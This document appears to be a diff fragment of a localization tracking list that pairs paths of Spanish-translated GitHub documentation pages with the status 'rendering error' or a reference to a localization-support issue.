+translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md,rendering error +translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md,rendering error +translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md,rendering error +translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md,rendering error +translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md,rendering error +translations/es-ES/content/code-security/getting-started/github-security-features.md,Listed in localization-support#489 +translations/es-ES/content/code-security/getting-started/github-security-features.md,rendering error +translations/es-ES/content/code-security/getting-started/securing-your-organization.md,Listed in localization-support#489 +translations/es-ES/content/code-security/getting-started/securing-your-organization.md,rendering error +translations/es-ES/content/code-security/getting-started/securing-your-repository.md,Listed in localization-support#489 +translations/es-ES/content/code-security/getting-started/securing-your-repository.md,rendering error +translations/es-ES/content/code-security/guides.md,Listed in localization-support#489 +translations/es-ES/content/code-security/guides.md,rendering error +translations/es-ES/content/code-security/index.md,Listed in localization-support#489 +translations/es-ES/content/code-security/index.md,rendering error +translations/es-ES/content/code-security/secret-scanning/about-secret-scanning.md,Listed in localization-support#489 +translations/es-ES/content/code-security/secret-scanning/about-secret-scanning.md,rendering error +translations/es-ES/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md,Listed in localization-support#489 +translations/es-ES/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md,rendering error +translations/es-ES/content/code-security/security-overview/about-the-security-overview.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/customizing-dependency-updates.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/customizing-dependency-updates.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/index.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/index.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/listing-dependencies-configured-for-version-updates.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/listing-dependencies-configured-for-version-updates.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-managing-vulnerable-dependencies.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-managing-vulnerable-dependencies.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md,rendering error +translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md,Listed in localization-support#489 +translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md,rendering error +translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md,rendering error +translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md,rendering error +translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md,rendering error +translations/es-ES/content/codespaces/customizing-your-codespace/index.md,rendering error +translations/es-ES/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md,rendering error +translations/es-ES/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md,rendering error +translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md,rendering error +translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md,rendering error +translations/es-ES/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md,rendering error +translations/es-ES/content/codespaces/developing-in-codespaces/creating-a-codespace.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/developing-in-codespaces/creating-a-codespace.md,rendering error +translations/es-ES/content/codespaces/developing-in-codespaces/deleting-a-codespace.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/developing-in-codespaces/deleting-a-codespace.md,rendering error +translations/es-ES/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md,rendering error +translations/es-ES/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md,rendering error +translations/es-ES/content/codespaces/developing-in-codespaces/index.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/developing-in-codespaces/index.md,rendering error +translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,rendering error +translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md,rendering error +translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md,rendering error +translations/es-ES/content/codespaces/getting-started/deep-dive.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/getting-started/deep-dive.md,rendering error +translations/es-ES/content/codespaces/index.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/index.md,rendering error +translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md,rendering error +translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md,rendering error +translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md,rendering error +translations/es-ES/content/codespaces/managing-your-codespaces/index.md,rendering error +translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md,rendering error +translations/es-ES/content/codespaces/overview.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/overview.md,rendering error +translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md,rendering error +translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/index.md,rendering error +translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md,rendering error +translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md,rendering error +translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md,rendering error +translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md,rendering error +translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md,rendering error +translations/es-ES/content/codespaces/troubleshooting/codespaces-logs.md,rendering error +translations/es-ES/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md,Listed in localization-support#489 +translations/es-ES/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md,rendering error +translations/es-ES/content/communities/documenting-your-project-with-wikis/about-wikis.md,Listed in localization-support#489 +translations/es-ES/content/communities/documenting-your-project-with-wikis/about-wikis.md,rendering error +translations/es-ES/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md,rendering error +translations/es-ES/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md,rendering error +translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md,rendering error +translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md,rendering error +translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md,Listed in localization-support#489 +translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md,rendering error +translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md,Listed in localization-support#489 +translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md,rendering error +translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md,Listed in localization-support#489 +translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md,rendering error +translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md,Listed in localization-support#489 +translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md,rendering error +translations/es-ES/content/developers/apps/building-github-apps/authenticating-with-github-apps.md,rendering error +translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md,rendering error +translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md,rendering error +translations/es-ES/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md,rendering error +translations/es-ES/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md,rendering error +translations/es-ES/content/developers/apps/getting-started-with-apps/about-apps.md,rendering error +translations/es-ES/content/developers/apps/guides/using-content-attachments.md,rendering error +translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md,rendering error +translations/es-ES/content/developers/overview/managing-deploy-keys.md,rendering error +translations/es-ES/content/developers/webhooks-and-events/events/issue-event-types.md,Listed in localization-support#489 +translations/es-ES/content/developers/webhooks-and-events/events/issue-event-types.md,rendering error +translations/es-ES/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md,rendering error +translations/es-ES/content/discussions/guides/best-practices-for-community-conversations-on-github.md,Listed in localization-support#489 +translations/es-ES/content/discussions/guides/best-practices-for-community-conversations-on-github.md,rendering error +translations/es-ES/content/discussions/index.md,Listed in localization-support#489 +translations/es-ES/content/discussions/index.md,rendering error +translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md,rendering error +translations/es-ES/content/education/guides.md,Listed in localization-support#489 +translations/es-ES/content/education/guides.md,rendering error +translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md,rendering error +translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md,Listed in localization-support#489 +translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md,rendering error +translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md,Listed in localization-support#489 +translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md,rendering error +translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md,Listed in localization-support#489 +translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md,rendering error +translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md,Listed in localization-support#489 +translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md,rendering error +translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md,rendering error +translations/es-ES/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md,rendering error +translations/es-ES/content/get-started/getting-started-with-git/managing-remote-repositories.md,rendering error +translations/es-ES/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md,rendering error +translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md,rendering error +translations/es-ES/content/get-started/learning-about-github/access-permissions-on-github.md,rendering error +translations/es-ES/content/get-started/learning-about-github/types-of-github-accounts.md,rendering error +translations/es-ES/content/get-started/onboarding/getting-started-with-github-ae.md,rendering error +translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md,Listed in localization-support#489 +translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md,rendering error +translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-server.md,rendering error +translations/es-ES/content/get-started/onboarding/getting-started-with-github-team.md,rendering error +translations/es-ES/content/get-started/onboarding/getting-started-with-your-github-account.md,rendering error +translations/es-ES/content/get-started/quickstart/be-social.md,Listed in localization-support#489 +translations/es-ES/content/get-started/quickstart/be-social.md,rendering error +translations/es-ES/content/get-started/quickstart/create-a-repo.md,rendering error +translations/es-ES/content/get-started/quickstart/fork-a-repo.md,Listed in localization-support#489 +translations/es-ES/content/get-started/quickstart/fork-a-repo.md,rendering error +translations/es-ES/content/get-started/quickstart/git-and-github-learning-resources.md,Listed in localization-support#489 +translations/es-ES/content/get-started/quickstart/git-and-github-learning-resources.md,rendering error +translations/es-ES/content/get-started/quickstart/github-flow.md,Listed in localization-support#489 +translations/es-ES/content/get-started/quickstart/github-flow.md,rendering error +translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md,rendering error +translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md,rendering error +translations/es-ES/content/get-started/using-git/about-git-rebase.md,Listed in localization-support#489 +translations/es-ES/content/get-started/using-git/about-git-rebase.md,rendering error +translations/es-ES/content/get-started/using-git/about-git.md,rendering error +translations/es-ES/content/get-started/using-git/getting-changes-from-a-remote-repository.md,Listed in localization-support#489 +translations/es-ES/content/get-started/using-git/getting-changes-from-a-remote-repository.md,rendering error +translations/es-ES/content/get-started/using-git/pushing-commits-to-a-remote-repository.md,Listed in localization-support#489 +translations/es-ES/content/get-started/using-git/pushing-commits-to-a-remote-repository.md,rendering error +translations/es-ES/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md,Listed in localization-support#489 +translations/es-ES/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md,rendering error +translations/es-ES/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md,rendering error +translations/es-ES/content/get-started/using-github/github-command-palette.md,Listed in localization-support#489 +translations/es-ES/content/get-started/using-github/github-command-palette.md,rendering error +translations/es-ES/content/get-started/using-github/github-for-mobile.md,rendering error +translations/es-ES/content/get-started/using-github/keyboard-shortcuts.md,Listed in localization-support#489 +translations/es-ES/content/get-started/using-github/keyboard-shortcuts.md,rendering error +translations/es-ES/content/github-cli/github-cli/creating-github-cli-extensions.md,rendering error +translations/es-ES/content/github-cli/github-cli/github-cli-reference.md,Listed in localization-support#489 +translations/es-ES/content/github-cli/github-cli/github-cli-reference.md,rendering error +translations/es-ES/content/github/copilot/github-copilot-telemetry-terms.md,rendering error +translations/es-ES/content/github/copilot/index.md,Listed in localization-support#489 +translations/es-ES/content/github/copilot/index.md,rendering error +translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md,rendering error +translations/es-ES/content/github/extending-github/about-webhooks.md,rendering error +translations/es-ES/content/github/extending-github/getting-started-with-the-api.md,rendering error +translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md,rendering error +translations/es-ES/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md,rendering error +translations/es-ES/content/github/index.md,Listed in localization-support#489 +translations/es-ES/content/github/index.md,rendering error +translations/es-ES/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md,Listed in localization-support#489 +translations/es-ES/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md,rendering error +translations/es-ES/content/github/site-policy/github-bug-bounty-program-legal-safe-harbor.md,Listed in localization-support#489 +translations/es-ES/content/github/site-policy/github-bug-bounty-program-legal-safe-harbor.md,rendering error +translations/es-ES/content/github/site-policy/github-data-protection-agreement.md,rendering error +translations/es-ES/content/github/site-policy/github-terms-for-additional-products-and-features.md,Listed in localization-support#489 +translations/es-ES/content/github/site-policy/github-terms-for-additional-products-and-features.md,rendering error +translations/es-ES/content/github/site-policy/index.md,Listed in localization-support#489 +translations/es-ES/content/github/site-policy/index.md,rendering error +translations/es-ES/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md,rendering error +translations/es-ES/content/github/working-with-github-support/about-github-support.md,Listed in localization-support#489 +translations/es-ES/content/github/working-with-github-support/about-github-support.md,rendering error +translations/es-ES/content/github/working-with-github-support/github-enterprise-cloud-support.md,Listed in localization-support#489 +translations/es-ES/content/github/working-with-github-support/github-enterprise-cloud-support.md,rendering error +translations/es-ES/content/github/working-with-github-support/submitting-a-ticket.md,Listed in localization-support#489 +translations/es-ES/content/github/working-with-github-support/submitting-a-ticket.md,rendering error +translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,Listed in localization-support#489 +translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,rendering error +translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/index.md,rendering error +translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md,rendering error +translations/es-ES/content/graphql/guides/index.md,rendering error +translations/es-ES/content/graphql/guides/migrating-graphql-global-node-ids.md,rendering error +translations/es-ES/content/graphql/overview/breaking-changes.md,Listed in localization-support#489 +translations/es-ES/content/graphql/overview/breaking-changes.md,rendering error +translations/es-ES/content/index.md,Listed in localization-support#489 +translations/es-ES/content/index.md,rendering error +translations/es-ES/content/issues/tracking-your-work-with-issues/about-task-lists.md,Listed in localization-support#489 +translations/es-ES/content/issues/tracking-your-work-with-issues/about-task-lists.md,rendering error +translations/es-ES/content/issues/tracking-your-work-with-issues/creating-an-issue.md,Listed in localization-support#489 +translations/es-ES/content/issues/tracking-your-work-with-issues/creating-an-issue.md,rendering error +translations/es-ES/content/issues/tracking-your-work-with-issues/deleting-an-issue.md,rendering error +translations/es-ES/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md,Listed in localization-support#489 +translations/es-ES/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md,rendering error +translations/es-ES/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md,Listed in localization-support#489 +translations/es-ES/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md,rendering error +translations/es-ES/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md,rendering error +translations/es-ES/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md,rendering error +translations/es-ES/content/issues/trying-out-the-new-projects-experience/about-projects.md,rendering error +translations/es-ES/content/issues/trying-out-the-new-projects-experience/automating-projects.md,rendering error +translations/es-ES/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md,rendering error +translations/es-ES/content/issues/trying-out-the-new-projects-experience/creating-a-project.md,rendering error +translations/es-ES/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md,rendering error +translations/es-ES/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md,rendering error +translations/es-ES/content/issues/trying-out-the-new-projects-experience/quickstart.md,rendering error +translations/es-ES/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md,rendering error +translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md,Listed in localization-support#489 +translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md,rendering error +translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md,rendering error +translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md,rendering error +translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md,rendering error +translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md,rendering error +translations/es-ES/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md,rendering error +translations/es-ES/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md,Listed in localization-support#489 +translations/es-ES/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md,rendering error +translations/es-ES/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md,rendering error +translations/es-ES/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md,rendering error +translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,Listed in localization-support#489 +translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md,Listed in localization-support#489 +translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md,rendering error +translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md,rendering error +translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md,rendering error +translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md,rendering error +translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md,Listed in localization-support#489 +translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md,rendering error +translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md,rendering error +translations/es-ES/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md,Listed in localization-support#489 +translations/es-ES/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md,rendering error +translations/es-ES/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md,rendering error +translations/es-ES/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md,Listed in localization-support#489 +translations/es-ES/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-membership-in-your-organization/index.md,Listed in localization-support#489 +translations/es-ES/content/organizations/managing-membership-in-your-organization/index.md,rendering error +translations/es-ES/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md,Listed in localization-support#489 +translations/es-ES/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md,rendering error +translations/es-ES/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md,Listed in localization-support#489 +translations/es-ES/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md,rendering error +translations/es-ES/content/organizations/managing-organization-settings/deleting-an-organization-account.md,rendering error +translations/es-ES/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md,rendering error +translations/es-ES/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md,rendering error 